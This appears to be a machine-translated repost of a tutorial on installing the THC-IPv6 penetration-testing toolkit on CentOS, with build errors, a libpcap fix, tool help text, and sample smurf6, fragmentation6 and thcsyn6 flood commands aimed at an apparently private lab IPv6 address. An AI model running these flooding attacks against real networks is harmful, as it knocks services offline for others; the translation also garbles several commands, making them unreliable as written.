In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Internet Technology >
Share
Shulou(Shulou.com)06/03 Report--
Official website address
Https://www.thc.org/thc-ipv6/
download
Wget https://www.thc.org/releases/thc-ipv6-2.7.tar.gz
Installation
[root@20211 mysoft] # tar zxvf thc-ipv6-2.7.tar.gz
[root@20211 mysoft] # cd thc-ipv6-2.7
[root@20211 thc-ipv6-2. 7] # make
[root@20211 thc-ipv6-2. 7] # make install
Install-m0755-d / usr/local/share/man/man8
Install-m0644-D thc-ipv6.8 / usr/local/share/man/man8
If you install it under CentOS, prompt the following message to confirm the pcap package and run "yum install * pcap*".
Root@202 thc-ipv6-2. 7] # make
Gcc-O2-D_HAVE_SSL-c-o thc-ipv6-lib.o thc-ipv6-lib.c
Thc-ipv6-lib.c:40:18: error: pcap.h: there is no such file or directory
In file included from thc-ipv6-lib.c:69:
Thc-ipv6.h:90: error: expected'=',';', 'asm' or' _ attribute__' before'* 'token
Thc-ipv6.h:91: error: expected'=',';', 'asm' or' _ attribute__' before'* 'token
Thc-ipv6.h:93: error: expected') 'before' * 'token
Thc-ipv6.h:94: error: expected') 'before' * 'token
Thc-ipv6-lib.c: in the function 'thc_pcap_function':
Thc-ipv6-lib.c:110: error: 'pcap_t' is not declared (used for the first time in this function)
Thc-ipv6-lib.c:110: error: (even if it occurs multiple times within a function, each undeclared identifier in its
Thc-ipv6-lib.c:110: error: only once is reported in the function you are in.)
Thc-ipv6-lib.c:110: error: 'pcap_link' is not declared (used for the first time in this function)
Thc-ipv6-lib.c:111: error: 'PCAP_ERRBUF_SIZE' is not declared (used for the first time in this function)
Thc-ipv6-lib.c:112: error: 'the storage size of fcode' is unknown
Thc-ipv6-lib.c:130: error: 'pcap_handler' is not declared (used for the first time in this function)
Thc-ipv6-lib.c:130: error: expected') 'before' function'
Thc-ipv6-lib.c: at the file layer:
Thc-ipv6-lib.c:137: error: expected'=',';', 'asm' or' _ attribute__' before'* 'token
Thc-ipv6-lib.c:163: error: expected'=',';', 'asm' or' _ attribute__' before'* 'token
Thc-ipv6-lib.c:184: error: expected') 'before' * 'token
Thc-ipv6-lib.c:190: error: expected') 'before' * 'token
Thc-ipv6-lib.c:663: warning: 'struct pcap_pkthdr' is declared inside the formal parameter table
Thc-ipv6-lib.c: in the function 'thc_get_mac_from_sniff':
Thc-ipv6-lib.c:664: error: fetching a pointer to an incomplete type
Thc-ipv6-lib.c: in the function 'thc_lookup_ipv6_mac':
Thc-ipv6-lib.c:700: error: 'pcap_t' is not declared (used for the first time in this function)
Thc-ipv6-lib.c:700: error:'p' is not declared (used for the first time in this function)
Make: * * [thc-ipv6-lib.o] error 1
[root@202 thc-ipv6-2. 7] # yum install * pcap*
Then run make & & make install
[root@202 thc-ipv6-2.7] # make & & make install
Gcc-O2-D_HAVE_SSL-c-o thc-ipv6-lib.o thc-ipv6-lib.c
[root@20211 thc-ipv6-2. 7] # thcping6?
Thcping6 v2.7 (c) 2014 by van Hauser / THC www.thc.org
Syntax: thcping6 [- Eafqx] [- e ethertype] [- H t:l:v] [- D t:l:v] [- F dst] [- e ethertype] [- L length] [- N
Nextheader] [- V version] [- t ttl] [- c class] [- l label] [- d size] [- S port |-U port |-T type-C code] interface
Src6 dst6 [srcmac [dstmac [data]
Options:
-T number ICMPv6 type to send (default: 128 = ping)
-C number ICMPv6 code to send (default: 0)
-S port use a TCP SYN packet on the defined port instead of ping
-U port use a UDP packet on the defined port instead of ping
-n count how often to send the packet (default: 1)
-h show more command line options (help!)
You can put an "x" into src6, srcmac and dstmac for an automatic value.
Craft an ICMPv6/TCP/UDP packet with special IPv6 or EH header options.
Returns-1 on error or no reply, 0 on normal reply or 1 on error reply.
[root@20211 thc-ipv6-2.7] #
[root@20211 thc-ipv6-2. 7] # thcsyn6?
Thcsyn6 v2.7 (c) 2014 by van Hauser / THC www.thc.org
Syntax: thcsyn6 [- AcDrRS] [- m dstmac] [- p port] [- s sourceip6] interface target port
Options:
-an add hop-by-hop header with router alert
-d add destination header (can be set up to 150 times)
-A send TCP-ACK packets
-S send TCP-SYN-ACK packets
-r randomize the source from your / 64 prefix
-R randomize the source fully
-D randomize the destination (treat as / 64)
-m dstmac use this destination mac address
-s sourceip6 use this as source IPv6 address
-p port use fixed source port
Flood the target port with TCP-SYN packets. If you supply "x" as port, it
Is randomized.
[root@20211 thc-ipv6-2.7] #
Smurf6 ICMP***
[root@20211 /] # smurf6 eth3 fc00:0:0:216::11
Warning: unprefered IPv6 address had to be selected
Starting smurf6 attack against fc00:0:0:216::11 (Press Control-C to end)...
^ C
Fragments *
[root@dr101 /] # fragmentation6 eth3 fc00:0:0:216::11
Ack***
[root@dr101 /] # thcsyn6-Ar eth3 fc00:0:0:216::11 80
Command reference URL
Http://tools.kali.org/information-gathering/thc-ipv6
Http://manpages.ubuntu.com/manpages/utopic/man8/thc-ipv6.8.html
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.